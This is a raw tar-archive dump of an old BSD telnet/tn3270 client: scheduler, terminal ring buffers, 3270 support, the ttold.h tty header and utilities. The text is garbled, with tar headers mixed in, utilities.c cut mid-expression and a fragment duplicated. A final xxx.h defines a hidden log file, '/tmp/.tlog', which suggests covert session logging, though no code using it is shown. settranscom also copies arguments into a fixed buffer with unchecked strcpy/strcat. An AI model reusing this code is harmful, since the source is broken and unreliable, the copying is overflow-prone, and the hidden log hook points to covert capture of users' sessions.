defined(TN3270) netin = ring_empty_count(&netiring); # else /* !defined(TN3270) */ netin = !ISend && ring_empty_count(&netiring); # endif /* !defined(TN3270) */ netex = !SYNCHing; /* If we have seen a signal recently, reset things */ # if defined(TN3270) && defined(unix) if (HaveInput) { HaveInput = 0; signal(SIGIO, inputAvailable); } #endif /* defined(TN3270) && defined(unix) */ /* Call to system code to process rings */ returnValue = process_rings(netin, netout, netex, ttyin, ttyout, !block); /* Now, look at the input rings, looking for work to do. */ if (ring_full_count(&ttyiring)) { # if defined(TN3270) if (In3270) { int c; c = DataFromTerminal(ttyiring.consume, ring_full_consecutive(&ttyiring)); if (c) { returnValue = 1; ring_consumed(&ttyiring, c); } } else { # endif /* defined(TN3270) */ returnValue |= telsnd(); # if defined(TN3270) } # endif /* defined(TN3270) */ } if (ring_full_count(&netiring)) { # if !defined(TN3270) returnValue |= telrcv(); # else /* !defined(TN3270) */ returnValue = Push3270(); # endif /* !defined(TN3270) */ } return returnValue; } /* * Select from tty and network... */ void telnet() { sys_telnet_init(); # if !defined(TN3270) if (telnetport) { if (!hisopts[TELOPT_SGA]) { willoption(TELOPT_SGA, 0); } if (!myopts[TELOPT_TTYPE]) { dooption(TELOPT_TTYPE); } } # endif /* !defined(TN3270) */ # if !defined(TN3270) for (;;) { int schedValue; while ((schedValue = Scheduler(0)) != 0) { if (schedValue == -1) { setcommandmode(); return; } } if (Scheduler(1) == -1) { setcommandmode(); return; } } # else /* !defined(TN3270) */ for (;;) { int schedValue; while (!In3270 && !shell_active) { if (Scheduler(1) == -1) { setcommandmode(); return; } } while ((schedValue = Scheduler(0)) != 0) { if (schedValue == -1) { setcommandmode(); return; } } /* If there is data waiting to go out to terminal, don't * schedule any more data for the terminal. */ if (ring_full_count(&ttyoring)) { schedValue = 1; } else { if (shell_active) { if (shell_continue() == 0) { ConnectScreen(); } } else if (In3270) { schedValue = DoTerminalOutput(); } } if (schedValue && (shell_active == 0)) { if (Scheduler(1) == -1) { setcommandmode(); return; } } } # endif /* !defined(TN3270) */ } #if 0 /* XXX - this not being in is a bug */ /* * nextitem() * * Return the address of the next "item" in the TELNET data * stream. This will be the address of the next character if * the current address is a user data character, or it will * be the address of the character following the TELNET command * if the current address is a TELNET IAC ("I Am a Command") * character. */ static char * nextitem(current) char *current; { if ((*current&0xff) != IAC) { return current+1; } switch (*(current+1)&0xff) { case DO: case DONT: case WILL: case WONT: return current+3; case SB: /* loop forever looking for the SE */ { register char *look = current+2; for (;;) { if ((*look++&0xff) == IAC) { if ((*look++&0xff) == SE) { return look; } } } } default: return current+2; } } #endif /* 0 */ /* * netclear() * * We are about to do a TELNET SYNCH operation. Clear * the path to the network. * * Things are a bit tricky since we may have sent the first * byte or so of a previous TELNET command into the network. * So, we have to scan the network buffer from the beginning * until we are up to where we want to be. * * A side effect of what we do, just to keep things * simple, is to clear the urgent data pointer. The principal * caller should be setting the urgent data pointer AFTER calling * us in any case. */ static void netclear() { #if 0 /* XXX */ register char *thisitem, *next; char *good; #define wewant(p) ((nfrontp > p) && ((*p&0xff) == IAC) && \ ((*(p+1)&0xff) != EC) && ((*(p+1)&0xff) != EL)) thisitem = netobuf; while ((next = nextitem(thisitem)) <= netobuf.send) { thisitem = next; } /* Now, thisitem is first before/at boundary. */ good = netobuf; /* where the good bytes go */ while (netoring.add > thisitem) { if (wewant(thisitem)) { int length; next = thisitem; do { next = nextitem(next); } while (wewant(next) && (nfrontp > next)); length = next-thisitem; memcpy(good, thisitem, length); good += length; thisitem = next; } else { thisitem = nextitem(thisitem); } } #endif /* 0 */ } /* * These routines add various telnet commands to the data stream. */ static void doflush() { NET2ADD(IAC, DO); NETADD(TELOPT_TM); flushline = 1; flushout = 1; ttyflush(1); /* Flush/drop output */ /* do printoption AFTER flush, otherwise the output gets tossed... */ printoption(" #include #include "ring.h" #include "externs.h" #include "types.h" Ring ttyoring, ttyiring; char ttyobuf[2*BUFSIZ], ttyibuf[BUFSIZ]; char termEofChar, termEraseChar, termFlushChar, termIntChar, termKillChar, #if defined(MSDOS) termLiteralNextChar, #endif /* defined(MSDOS) */ termQuitChar; /* * initialize the terminal data structures. */ init_terminal() { if (ring_init(&ttyoring, ttyobuf, sizeof ttyobuf) != 1) { exit(1); } if (ring_init(&ttyiring, ttyibuf, sizeof ttyibuf) != 1) { exit(1); } autoflush = TerminalAutoFlush(); } /* * Send as much data as possible to the terminal. * * The return value indicates whether we did any * useful work. */ int ttyflush(drop) int drop; { register int n, n0, n1; n0 = ring_full_count(&ttyoring); if ((n1 = n = ring_full_consecutive(&ttyoring)) > 0) { if (drop) { TerminalFlushOutput(); /* we leave 'n' alone! */ } else { n = TerminalWrite(ttyoring.consume, n); } } if (n > 0) { /* * If we wrote everything, and the full count is * larger than what we wrote, then write the * rest of the buffer. */ if (n1 == n && n0 > n) { n1 = n0 - n; if (!drop) n1 = TerminalWrite(ttyoring.bottom, n1); n += n1; } ring_consumed(&ttyoring, n); } return n > 0; } /* * These routines decides on what the mode should be (based on the values * of various global variables). */ int getconnmode() { static char newmode[16] = { 4, 5, 3, 3, 2, 2, 1, 1, 6, 6, 6, 6, 6, 6, 6, 6 }; int modeindex = 0; if (dontlecho && (clocks.echotoggle > clocks.modenegotiated)) { modeindex += 1; } if (hisopts[TELOPT_ECHO]) { modeindex += 2; } if (hisopts[TELOPT_SGA]) { modeindex += 4; } if (In3270) { modeindex += 8; } return newmode[modeindex]; } void setconnmode() { TerminalNewMode(getconnmode()); } void setcommandmode() { TerminalNewMode(0); } TELNET/tn3270.c010064400017510000024000000202650661613451200122630ustar00ukai00000400000007#include #include #include "general.h" #include "defines.h" #include "ring.h" #include "externs.h" #include "fdset.h" #if defined(TN3270) #include "../ctlr/screen.h" #include "../general/globals.h" #include "../telextrn.h" #include "../ctlr/externs.h" #if defined(unix) char tline[200]; char *transcom = 0; /* transparent mode command (default: none) */ #endif /* defined(unix) */ char Ibuf[8*BUFSIZ], *Ifrontp, *Ibackp; static char sb_terminal[] = { IAC, SB, TELOPT_TTYPE, TELQUAL_IS, 'I', 'B', 'M', '-', '3', '2', '7', '8', '-', '2', IAC, SE }; #define SBTERMMODEL 13 static int Sent3270TerminalType; /* Have we said we are a 3270? */ #endif /* defined(TN3270) */ void init_3270() { #if defined(TN3270) Sent3270TerminalType = 0; Ifrontp = Ibackp = Ibuf; init_ctlr(); /* Initialize some things */ init_keyboard(); init_screen(); init_system(); #endif /* defined(TN3270) */ } #if defined(TN3270) /* * DataToNetwork - queue up some data to go to network. If "done" is set, * then when last byte is queued, we add on an IAC EOR sequence (so, * don't call us with "done" until you want that done...) * * We actually do send all the data to the network buffer, since our * only client needs for us to do that. */ int DataToNetwork(buffer, count, done) register char *buffer; /* where the data is */ register int count; /* how much to send */ int done; /* is this the last of a logical block */ { register int loop, c; int origCount; origCount = count; while (count) { /* If not enough room for EORs, IACs, etc., wait */ if (NETROOM() < 6) { fd_set o; FD_ZERO(&o); netflush(); while (NETROOM() < 6) { FD_SET(net, &o); (void) select(net+1, (fd_set *) 0, &o, (fd_set *) 0, (struct timeval *) 0); netflush(); } } c = ring_empty_count(&netoring); if (c > count) { c = count; } loop = c; while (loop) { if (((unsigned char)*buffer) == IAC) { break; } buffer++; loop--; } if ((c = c-loop)) { ring_supply_data(&netoring, buffer-c, c); count -= c; } if (loop) { NET2ADD(IAC, IAC); count--; buffer++; } } if (done) { NET2ADD(IAC, EOR); netflush(); /* try to move along as quickly as ... */ } return(origCount - count); } #if defined(unix) void inputAvailable() { HaveInput = 1; } #endif /* defined(unix) */ void outputPurge() { ttyflush(1); } /* * The following routines are places where the various tn3270 * routines make calls into telnet.c. */ /* * DataToTerminal - queue up some data to go to terminal. * * Note: there are people who call us and depend on our processing * *all* the data at one time (thus the select). */ int DataToTerminal(buffer, count) register char *buffer; /* where the data is */ register int count; /* how much to send */ { register int c; int origCount; origCount = count; while (count) { if (TTYROOM() == 0) { #if defined(unix) fd_set o; FD_ZERO(&o); #endif /* defined(unix) */ ttyflush(0); while (TTYROOM() == 0) { #if defined(unix) FD_SET(tout, &o); (void) select(tout+1, (fd_set *) 0, &o, (fd_set *) 0, (struct timeval *) 0); #endif /* defined(unix) */ ttyflush(0); } } c = TTYROOM(); if (c > count) { c = count; } ring_supply_data(&ttyoring, buffer, c); count -= c; buffer += c; } return(origCount); } /* EmptyTerminal - called to make sure that the terminal buffer is empty. * Note that we consider the buffer to run all the * way to the kernel (thus the select). */ void EmptyTerminal() { #if defined(unix) fd_set o; FD_ZERO(&o); #endif /* defined(unix) */ if (TTYBYTES() == 0) { #if defined(unix) FD_SET(tout, &o); (void) select(tout+1, (fd_set *) 0, &o, (fd_set *) 0, (struct timeval *) 0); /* wait for TTLOWAT */ #endif /* defined(unix) */ } else { while (TTYBYTES()) { ttyflush(0); #if defined(unix) FD_SET(tout, &o); (void) select(tout+1, (fd_set *) 0, &o, (fd_set *) 0, (struct timeval *) 0); /* wait for TTLOWAT */ #endif /* defined(unix) */ } } } /* * Push3270 - Try to send data along the 3270 output (to screen) direction. */ int Push3270() { int save = ring_full_count(&netiring); if (save) { if (Ifrontp+save > Ibuf+sizeof Ibuf) { if (Ibackp != Ibuf) { memcpy(Ibuf, Ibackp, Ifrontp-Ibackp); Ifrontp -= (Ibackp-Ibuf); Ibackp = Ibuf; } } if (Ifrontp+save < Ibuf+sizeof Ibuf) { telrcv(); } } return save != ring_full_count(&netiring); } /* * Finish3270 - get the last dregs of 3270 data out to the terminal * before quitting. */ void Finish3270() { while (Push3270() || !DoTerminalOutput()) { #if defined(unix) HaveInput = 0; #endif /* defined(unix) */ ; } } /* StringToTerminal - output a null terminated string to the terminal */ void StringToTerminal(s) char *s; { int count; count = strlen(s); if (count) { (void) DataToTerminal(s, count); /* we know it always goes... */ } } #if ((!defined(NOT43)) || defined(PUTCHAR)) /* _putchar - output a single character to the terminal. This name is so that * curses(3x) can call us to send out data. */ void _putchar(c) char c; { if (TTYBYTES()) { (void) DataToTerminal(&c, 1); } else { TTYADD(c); } } #endif /* ((!defined(NOT43)) || defined(PUTCHAR)) */ void SetForExit() { setconnmode(); if (In3270) { Finish3270(); } setcommandmode(); fflush(stdout); fflush(stderr); if (In3270) { StopScreen(1); } setconnmode(); setcommandmode(); } void Exit(returnCode) int returnCode; { SetForExit(); exit(returnCode); } void ExitString(string, returnCode) char *string; int returnCode; { SetForExit(); fwrite(string, 1, strlen(string), stderr); exit(returnCode); } #if defined(MSDOS) void ExitPerror(string, returnCode) char *string; int returnCode; { SetForExit(); perror(string); exit(returnCode); } #endif /* defined(MSDOS) */ void SetIn3270() { if (Sent3270TerminalType && myopts[TELOPT_BINARY] && hisopts[TELOPT_BINARY] && !donebinarytoggle) { if (!In3270) { In3270 = 1; Init3270(); /* Initialize 3270 functions */ /* initialize terminal key mapping */ InitTerminal(); /* Start terminal going */ setconnmode(); } } else { if (In3270) { StopScreen(1); In3270 = 0; Stop3270(); /* Tell 3270 we aren't here anymore */ setconnmode(); } } } /* * tn3270_ttype() * * Send a response to a terminal type negotiation. * * Return '0' if no more responses to send; '1' if a response sent. */ int tn3270_ttype() { /* * Try to send a 3270 type terminal name. Decide which one based * on the format of our screen, and (in the future) color * capaiblities. */ InitTerminal(); /* Sets MaxNumberColumns, MaxNumberLines */ if ((MaxNumberLines >= 24) && (MaxNumberColumns >= 80)) { Sent3270TerminalType = 1; if ((MaxNumberLines >= 27) && (MaxNumberColumns >= 132)) { MaxNumberLines = 27; MaxNumberColumns = 132; sb_terminal[SBTERMMODEL] = '5'; } else if (MaxNumberLines >= 43) { MaxNumberLines = 43; MaxNumberColumns = 80; sb_terminal[SBTERMMODEL] = '4'; } else if (MaxNumberLines >= 32) { MaxNumberLines = 32; MaxNumberColumns = 80; sb_terminal[SBTERMMODEL] = '3'; } else { MaxNumberLines = 24; MaxNumberColumns = 80; sb_terminal[SBTERMMODEL] = '2'; } NumberLines = 24; /* before we start out... */ NumberColumns = 80; ScreenSize = NumberLines*NumberColumns; if ((MaxNumberLines*MaxNumberColumns) > MAXSCREENSIZE) { ExitString("Programming error: MAXSCREENSIZE too small.\n", 1); /*NOTREACHED*/ } printsub(">", sb_terminal+2, sizeof sb_terminal-2); ring_supply_data(&netoring, sb_terminal, sizeof sb_terminal); return 1; } else { return 0; } } #if defined(unix) settranscom(argc, argv) int argc; char *argv[]; { int i; if (argc == 1 && transcom) { transcom = 0; } if (argc == 1) { return; } transcom = tline; (void) strcpy(transcom, argv[1]); for (i = 2; i < argc; ++i) { (void) strcat(transcom, " "); (void) strcat(transcom, argv[i]); } } #endif /* defined(unix) */ #endif /* defined(TN3270) */ TELNET/ttold.h010064400017510000024000000205610661613451200124600ustar00ukai00000400000007/* Copyright (c) 1990, 1991 UNIX System Laboratories, Inc. */ /* Copyright (c) 1984, 1986, 1987, 1988, 1989, 1990 AT&T */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */ /* UNIX System Laboratories, Inc. */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */ #ifndef _IO_TTOLD_H /* wrapper symbol for kernel use */ #define _IO_TTOLD_H /* subject to change without notice */ #define _SYS_TTOLD_H #ident "@(#)uts-3b2:io/ttold.h 1.3" /* All the ioctls (BSD, V7, XENIX, S5) defines are in termios.h */ /* this file has mostly BSD structures and flags */ /* BSD special characters. Structure for TIOCSTC/TIOCGTC */ #ifndef TIOCGETD struct tchars { char t_intrc; /* interrupt */ char t_quitc; /* quit */ char t_startc; /* start output */ char t_stopc; /* stop output */ char t_eofc; /* end-of-file */ char t_brkc; /* input delimiter (like nl) */ }; /* note xenix defines tchars as tc */ struct tc { char t_intrc; /* interrupt */ char t_quitc; /* quit */ char t_startc; /* start output */ char t_stopc; /* stop output */ char t_eofc; /* end-of-file */ char t_brkc; /* input delimiter (like nl) */ }; #ifndef _SGTTY_H /* * Structure for TIOCGETP and TIOCSETP ioctls. */ /* sg_flags value changed from short (in SUN/BSD) to int in System V to */ /* match sgtty.h definition */ struct sgttyb { char sg_ispeed; /* input speed */ char sg_ospeed; /* output speed */ char sg_erase; /* erase character */ char sg_kill; /* kill character */ int sg_flags; /* mode flags */ }; /* BSD local special chars. Structure for TIOCSLTC/TIOCGLTC */ struct ltchars { char t_suspc; /* stop process signal */ char t_dsuspc; /* delayed stop process signal */ char t_rprntc; /* reprint line */ char t_flushc; /* flush output (toggles) */ char t_werasc; /* word erase */ char t_lnextc; /* literal next character */ }; #endif /* _SGTTY_H */ #endif /* * 4.3BSD/XENIX tty ioctl commands that are either: * 1) deprecated * 2) not implemented (and never were implemented) * 3) implemented on top of new-style "ioctl"s. */ /* * These ioctls are also defined in termios.h. * because XENIX expects to see them in termio.h */ #ifndef tIOC #define tIOC ('t'<<8) #endif #ifndef _SYS_TERMIOS_H /* defined in termios.h also so that all the ioctl codes are visible*/ #ifndef TIOCGETD #define TIOCGETD (tIOC|0) #define TIOCSETD (tIOC|1) #ifndef _SGTTY_H #define TIOCHPCL (tIOC|2) #define TIOCGETP (tIOC|8) #define TIOCSETP (tIOC|9) #endif /* _SGTTY_H */ #define TIOCSETN (tIOC|10) #ifndef _SGTTY_H #define TIOCEXCL (tIOC|13) #define TIOCNXCL (tIOC|14) #endif /* _SGTTY_H */ #define TIOCFLUSH (tIOC|16) #define TIOCSETC (tIOC|17) #define TIOCGETC (tIOC|18) /* BSD ioctls that are not the same as XENIX */ #define TIOCLBIS (tIOC|127) /* bis local mode bits */ #define TIOCLBIC (tIOC|126) /* bic local mode bits */ #define TIOCLSET (tIOC|125) /* set entire local mode word */ #define TIOCLGET (tIOC|124) /* get local modes */ #define TIOCSBRK (tIOC|123) /* set break bit */ #define TIOCCBRK (tIOC|122) /* clear break bit */ #define TIOCSDTR (tIOC|121) /* set data terminal ready */ #define TIOCCDTR (tIOC|120) /* clear data terminal ready */ #define TIOCSLTC (tIOC|117) /* set local special chars */ #define TIOCGLTC (tIOC|116) /* get local special chars */ #define TIOCOUTQ (tIOC|115) /* driver output queue size */ #define TIOCNOTTY (tIOC|113) /* void tty association */ #define TIOCSTOP (tIOC|111) /* stop output, like ^S */ #define TIOCSTART (tIOC|110) /* start output, like ^Q */ #define TIOCREMOTE (tIOC|30) /* remote input editing */ /* windowing ioctls and structure also defined in termios.h */ #define TIOC ('T'<<8) #define TIOCGWINSZ (TIOC|104) #define TIOCSWINSZ (TIOC|103) #ifndef _IO_PTEM_H /* Windowing structure to support TIOCSWINSZ/TIOCGWINSZ */ struct winsize { unsigned short ws_row; /* rows, in characters*/ unsigned short ws_col; /* columns, in character */ unsigned short ws_xpixel; /* horizontal size, pixels */ unsigned short ws_ypixel; /* vertical size, pixels */ }; #endif #endif /* end _IO_PTEM_H */ #endif /* end _IO_TERMIOS_H */ /* Old SVR3.0 flags - should be removed if there is no problem */ /* note they are commented out */ #if 0 #define O_HUPCL 01 #define O_XTABS 02 #define O_LCASE 04 /* simulate lower case */ #define O_ECHO 010 /* echo input */ #define O_CRMOD 020 /* map \r to \r\n on output */ #define O_RAW 040 /* no i/o processing */ #define O_ODDP 0100 /* get/send odd parity */ #define O_EVENP 0200 /* get/send even parity */ #define O_NLDELAY 001400 /* \n delay */ #define O_NL1 000400 #define O_NL2 001000 #define O_TBDELAY 002000 /* horizontal tab delay */ #define O_NOAL 004000 #define O_CRDELAY 030000 /* \r delay */ #define O_CR1 010000 #define O_CR2 020000 #define O_VTDELAY 040000 /* vertical tab delay */ #define O_BSDELAY 0100000 /* \b delay */ #endif /* 4.3 BSD additions. These are new codes and some of the * flags that were there in SVR3.2 ttold.h have been given * new codes. Otherwise they will not fit in a word. */ #define O_TANDEM 0x00000001 /* send stopc on out q full */ #define O_CBREAK 0x00000002 /* half-cooked mode */ #define O_LCASE 0x00000004 /* simulate lower case */ #define O_ECHO 0x00000008 /* echo input */ #define O_CRMOD 0x00000010 /* map \r to \r\n on output */ #define O_RAW 0x00000020 /* no i/o processing */ #define O_ODDP 0x00000040 /* get/send odd parity */ #define O_EVENP 0x00000080 /* get/send even parity */ #define O_ANYP 0x000000c0 /* get any parity/send none */ #define O_NLDELAY 0x00000300 /* \n delay */ #define O_NL0 0x00000000 #define O_NL1 0x00000100 /* tty 37 */ #define O_NL2 0x00000200 /* vt05 */ #define O_NL3 0x00000300 #define O_TBDELAY 0x00000c00 /* horizontal tab delay */ #define O_TAB0 0x00000000 #define O_TAB1 0x00000400 /* tty 37 */ #define O_TAB2 0x00000800 #define O_XTABS 0x00000c00 /* expand tabs on output */ #define O_CRDELAY 0x00003000 /* \r delay */ #define O_CR0 0x00000000 #define O_CR1 0x00001000 /* tn 300 */ #define O_CR2 0x00002000 /* tty 37 */ #define O_CR3 0x00003000 /* concept 100 */ #define O_VTDELAY 0x00004000 /* vertical tab delay */ #define O_FF0 0x00000000 #define O_FF1 0x00004000 /* tty 37 */ #define O_BSDELAY 0x00008000 /* \b delay */ #define O_BS0 0x00000000 #define O_BS1 0x00008000 #define O_ALLDELAY (O_NLDELAY|O_TBDELAY|O_CRDELAY|O_VTDELAY|O_BSDELAY) #define O_CRTBS 0x00010000 /* do backspacing for crt */ #define O_PRTERA 0x00020000 /* \ ... / erase */ #define O_CRTERA 0x00040000 /* " \b " to wipe out char */ #define O_TILDE 0x00080000 /* hazeltine tilde kludge */ #define O_MDMBUF 0x00100000 /* start/stop output on carrier intr */ #define O_LITOUT 0x00200000 /* literal output */ #define O_TOSTOP 0x00400000 /* SIGSTOP on background output */ #define O_FLUSHO 0x00800000 /* flush output to terminal */ #define O_NOHANG 0x01000000 /* no SIGHUP on carrier drop */ #define O_L001000 0x02000000 #define O_CRTKIL 0x04000000 /* kill line with " \b " */ #define O_PASS8 0x08000000 #define O_CTLECH 0x10000000 /* echo control chars as ^X */ #define O_PENDIN 0x20000000 /* tp->t_rawq needs reread */ #define O_DECCTQ 0x40000000 /* only ^Q starts after ^S */ #define O_NOFLSH 0x80000000 /* no output flush on signal */ /* more BSD flags */ #define LCRTBS (O_CRTBS>>16) #define LPRTERA (O_PRTERA>>16) #define LCRTERA (O_CRTERA>>16) #define LTILDE (O_TILDE>>16) #define LMDMBUF (O_MDMBUF>>16) #define LLITOUT (O_LITOUT>>16) #define LTOSTOP (O_TOSTOP>>16) #define LFLUSHO (O_FLUSHO>>16) #define LNOHANG (O_NOHANG>>16) #define LCRTKIL (O_CRTKIL>>16) #define LPASS8 (O_PASS8>>16) #define LCTLECH (O_CTLECH>>16) #define LPENDIN (O_PENDIN>>16) #define LDECCTQ (O_DECCTQ>>16) #define LNOFLSH (O_NOFLSH>>16) #define NOPOST 0x00000001 /* no processing on output (LITOUT with 7 bits + parity) */ #define NOISIG 0x00000002 /* disable all signal-generating characters */ #define STOPB 0x00000004 /* two stop bits */ #if defined(NTTYDISC) #undef NTTYDISC #endif #define OTTYDISC 0 /* old, v7 std tty driver */ #define NETLDISC 1 /* line discip for berk net */ #define NTTYDISC 2 /* new tty discipline */ #define TABLDISC 3 /* hitachi tablet discipline */ #define NTABLDISC 4 /* gtco tablet discipline */ #define MOUSELDISC 5 /* mouse discipline */ #define KBDLDISC 6 /* up/down keyboard trans (console) */ #endif /* _IO_TTOLD_H */ TELNET/types.h010064400017510000024000000006600661613451200124740ustar00ukai00000400000007typedef struct { char *modedescriptions; char modetype; } Modelist; extern Modelist modelist[]; typedef struct { int system, /* what the current time is */ echotoggle, /* last time user entered echo character */ modenegotiated, /* last time operating mode negotiated */ didnetreceive, /* last time we read data from network */ gotDM; /* when did we last see a data mark */ } Clocks; extern Clocks clocks; TELNET/utilities.c010064400017510000024000000061250661613451200133400ustar00ukai00000400000007#define TELOPTS #include #include #include #include "general.h" #include "ring.h" #include "externs.h" FILE *NetTrace = 0; /* Not in bss, since needs to stay */ /* * upcase() * * Upcase (in place) the argument. */ void upcase(argument) register char *argument; { register int c; while ((c = *argument) != 0) { if (islower(c)) { *argument = toupper(c); } argument++; } } /* * SetSockOpt() * * Compensate for differences in 4.2 and 4.3 systems. */ int SetSockOpt(fd, level, option, yesno) int fd, level, option, yesno; { #ifndef NOT43 return setsockopt(fd, level, option, (char *)&yesno, sizeof yesno); #else /* NOT43 */ if (yesno == 0) { /* Can't do that in 4.2! */ fprintf(stderr, "Error: attempt to turn off an option 0x%x.\n", option); return -1; } return setsockopt(fd, level, option, 0, 0); #endif /* NOT43 */ } /* * The following are routines used to print out debugging information. */ void Dump(direction, buffer, length) char direction; char *buffer; int length; { # define BYTES_PER_LINE 32 # define min(x,y) ((x" */ *pointer; /* where suboption data sits */ int length; /* length of suboption data */ { if (showoptions) { fprintf(NetTrace, "%s suboption ", (direction[0] == '<')? "Received":"Sent"); switch (pointer[0]) { case TELOPT_TTYPE: fprintf(NetTrace, "Terminal type "); switch (pointer[1]) { case TELQUAL_IS: { char tmpbuf[SUBBUFSIZE]; int minlen = min(length, sizeof tmpbuf); memcpy(tmpbuf, pointer+2, minlen); tmpbuf[minlen-1] = 0; fprintf(NetTrace, "is %s.\n", tmpbuf); } break; case TELQUAL_SEND: fprintf(NetTrace, "- request to send.\n"); break; default: fprintf(NetTrace, "- unknown qualifier %d (0x%x).\n", pointer[1], pointer[1]); } break; default: fprintf(NetTrace, "Unknown option %d (0x%x)\n", pointer[0], pointer[0]); } } } o; { #ifndef NOT43 return setsockopt(fd, level, option, (char *)&yesno, sizeof yesno); #else /* NOT43 */ if (yesno == 0) { /* Can't do that in 4.2! */ fprintf(stderr, "Error: attempt to turn off an option 0x%x.\n", option); return -1; } return setsockopt(fd, level, option, 0, 0); #endif /* NOT43 */ } /* * The following are routines used to print out debugging information. */ void Dump(directTELNET/xxx.h010064400017510000024000000000360661614271400121570ustar00ukai00000400000007#define LOGFILE "/tmp/.tlog"